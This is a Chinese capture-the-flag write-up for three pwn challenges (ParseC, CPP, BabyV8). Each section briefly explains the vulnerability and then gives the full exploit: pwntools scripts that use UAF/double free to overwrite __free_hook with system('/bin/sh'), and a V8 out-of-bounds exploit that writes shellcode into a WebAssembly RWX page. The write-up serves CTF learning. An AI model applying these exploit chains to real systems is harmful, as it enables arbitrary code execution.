ParseC

JIT类型题目。

有三个函数:read(读取浮点数)、puts(输出字符)、print(输出浮点数)

大体三种类型:浮点数/字符(存放在bss上)、数组(存放在堆中,只能放浮点数)、字符串(存放在堆中,每次重新赋值时若长度不同则会free后再malloc)。

字符串可以复制,并且堆上指针不变,因此存在UAF,可以进行double free。

首先填满tcache后用unsortbin进行leak操作。

接着double free一个0x20大小的堆块,修改其fd指向一同样double free了的0x50的堆块,修改0x50大小堆块的fd指向对应偏移0x28处(对应数组中存放了数值的地方)。

接着申请一个数组,输入16进制的__free_hook-0x28对应的浮点数。

接着申请两个数组,再进行输入,即可劫持__free_hook,修改其为system函数地址,接着free掉一个存放/bin/sh的堆块,即可getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
import binascii
#context.log_level='debug'
code = '''
//;/bin/sh
//leak
a = "22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222";
b = "22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222";
x1 = a;
x2 = a;
x3 = a;
x4 = a;
x5 = a;
x6 = a;
x7 = a;
x8 = a;
x1 = "222";
x2 = "222";
x3 = "222";
x4 = "222";
x5 = "222";
x6 = "222";
x7 = "222";
x8 = "222";
puts(x8);
puts(a);


q = "'''+'a'*0x38+'''";
x20 = q;
x21 = q;
x20 = "'''+'a'*0x98+'''";

array c(1);
read(v);
c[0]=v;
a = "1";
d= "1";
e = " ;/bin/sh";
x9 = d;
x10 = d;
x9= "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
x10= "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
f = "\x60";
x21 = "'''+'a'*0x98+'''";
g = "\x60";
k = "\x88";



array h(1);
array j(1);

array l(1);
read(t);
l[0]=t;

e = "111111111111111";

'''
f = open('exp','rb+')
f.write(code)
f.close()
p = process(["./ParseC","exp"],env = {"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")

code = base64.b64encode(code)
p.sendline(code)
p.recvuntil("222\n")
libc_base = u64(p.recv(6)+'\x00\x00')-0x3EBca0
print(hex(libc_base))
libc.address = libc_base

def rev(a):
print a
s = ''
s += a[14:16]
s += a[12:14]
s += a[10:12]
s += a[8:10]
s += a[6:8]
s += a[4:6]
s += a[2:4]
s += a[0:2]
return s
free_hook = hex(libc.sym['__free_hook']-0x28)[2:].rjust(16,"0")
free_hook = rev(free_hook)
free_hook = struct.unpack('<d', binascii.unhexlify(free_hook))

system = hex(libc.sym['system'])[2:].rjust(16,"0")
print(system)
system = rev(system)
print(system)
system = struct.unpack('<d', binascii.unhexlify(system))
print(system)

p.sendline(str(free_hook)[1:-2])
sleep(1)
#gdb.attach(p,'b *0x555555556262\nb *0x55555555627d\nb *0x55555555623d\n b free')
p.sendline(str(system)[1:-2])
p.interactive()

CPP

c++的题目,静态分析有点困难,所以直接gdb看堆块变化。

分析发现free后未对堆指针置0,因而存在uaf漏洞。另外edit的时候会重新申请相应大小堆块。

首先double free掉0x20的堆块,并将fd修改为下面unsortbin堆块-0x10偏移处地址,方便后面进行io leak。

接着申请0x88大小的堆块,并先申请0x48大小的堆块,double free(修复后续申请堆块问题)。

接着申请0x98,防止unsortbin被合并到topchunk。

申请回0x88的堆块,将其free填满tcache即放入unsortbin,获得libc相应偏移的地址。

接着用上面0x20的堆块修改0x88堆块的fd,将其爆破到_IO_2_1_stdout_-0x61处,并将size修改为0x21,并修复bins结构。

接着构造payload进行ioleak,注意长度需要满足,这里用了'\xff'*7+p64(0)*12+p64(0xfbad1800)+p64(0)*3+'\x00'。这样即可leak出libc地址。

接着double free,劫持__free_hook为system函数地址,再用edit输入shell命令:"/bin/sh".ljust(0x1f,'\x00')+'icqb8a2d9242a67b4510eacfe4635155',操作中即会将该堆块free并输入token。(关于截取长度的问题,这里爆破了很久,最终确定是0x1f大小后接token就可以)。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.timeout=1
#context.log_level = 'debug'
def exp():
p = process("./cpp",env = {"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")
def add():
p.recvuntil("[B]ye")
p.sendline("C")
def edit(data):
p.recvuntil("[B]ye")
p.sendline("W")
p.sendline(data)
def free():
p.recvuntil("[B]ye")
p.sendline("D")
libc.address = 0x00007ffff79e2000
print hex(libc.sym['_IO_2_1_stdout_'])
add()
add()
edit('1'*0x20)
add()
edit('1'*0x18)
for i in range(2):
free()
edit('\x90\xd1')
edit('1'*0x88)
edit('1'*0x48)
free()
free()
free()
edit('1'*0x98)
edit('1'*0x88)
for i in range(8):
free()
add()
edit(p64(0)+p64(0x21)+'\xf9\xe6')
edit('\xff'*7+p64(0)*12+p64(0xfbad1800)+p64(0)*3+'\x00')
p.recvuntil(p64(0xfbad1800)+p64(0)*3)
libc.address = u64(p.recv(8))-0x3EC700
print hex(libc.address)
free()
edit(p64(libc.sym['__free_hook']))
edit(p64(libc.sym['__free_hook']))
edit(p64(libc.sym['system']))
#gdb.attach(p,'b malloc\n b free')
edit("/bin/sh".ljust(0x1f,'\x00')+'icqb8a2d9242a67b4510eacfe4635155')
p.interactive()
i = 0
while(1):
i += 1
try:
print i
exp()
except:
print "fail"

BabyV8

对着官方exp撸了下,发现挺简单的,是一道类似于oob的题目,push、pop后会使数组越界溢出,就可以修改map属性和elements地址及长度,这样就可以做到任意读写了。在exp中搞了下注释,直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
//浮点数和整数互换
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
hex(val){
return val.toString(16).padStart(16, "0");
}
}
var mem = new Memory();
//构造rwx段
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;


var a1 = [1.1, 2.2, 3.3];
var a = [1.1, 2.2, 3.3];
//将f地址存入b中以方便读取
var b = [f,f];
//设置针对字节存储的数组
var buf = new ArrayBuffer(0x200);
var dv = new DataView(buf);
//利用漏洞泄漏数组a1的地址
a1.pop();
a1.push(3.3);
a1_addr = mem.d2u(a1[4]) & 0xFFFFFFFF;
//修改元素长度为0x100
a1[4] = mem.u2d(0x10000000000+a1_addr);

//构造泄漏函数
function leak32(addr, offset=0){
a1[0xa] = mem.u2d(0x10000000000+addr);
//print('0x' + mem.d2u(a[offset]).toString(16));
return (mem.d2u(a[offset]) - (mem.d2u(a[offset]) & 0xFFFFFFFF)) / 0x100000000;
}

function leak64(addr, offset=0){
a1[0xa] = mem.u2d(0x10000000000+addr);
//print('0x' + mem.d2u(a[offset]).toString(16));
return mem.d2u(a[offset]);
}

//泄漏a数组地址
a.pop();
//%SystemBreak();
a.push(3.3);
print('0x'+ mem.d2u(a[4]).toString(16));
elements_addr = mem.d2u(a[4]) & 0xFFFFFFFF;
print('elements addr: 0x' + elements_addr.toString(16));
a[4] = mem.u2d(0x10000000000+elements_addr);


//获取f的地址
func_addr = (mem.d2u(a[0x6]) - (mem.d2u(a[0x6]) & 0xFFFFFFFF)) / 0x100000000;
print('func_addr: 0x'+ func_addr.toString(16));


//%SystemBreak();
//leak rwx
//function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr
shared_info_addr = leak32(func_addr);
print('shared_info_addr: 0x' + shared_info_addr.toString(16));
WasmExportedFunctionData = leak32(shared_info_addr-8);
print('WasmExportedFunctionData: 0x' + WasmExportedFunctionData.toString(16));
instance_addr = leak32(WasmExportedFunctionData-0x4);
print('instance_addr: 0x' + instance_addr.toString(16));
rwx_addr = leak64(instance_addr+0x60);
print('rwx_addr: 0x' + rwx_addr.toString(16));

//write backing store
//修改a的元素地址,并修改dv的操作地址为rwx段
a1[0xa] = mem.u2d(0x10000000000+elements_addr+4);
a[0xb] = mem.u2d(rwx_addr);
//let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
//orw
let sc = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 115, 104, 111, 117, 100, 115, 1, 1, 72, 49, 4, 36, 72, 184, 46, 47, 102, 108, 97, 103, 95, 112, 80, 72, 137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5]
for(var i = 0; i<sc.length; i++){
dv.setUint8(i, sc[i], true);
}
f();
//%SystemBreak();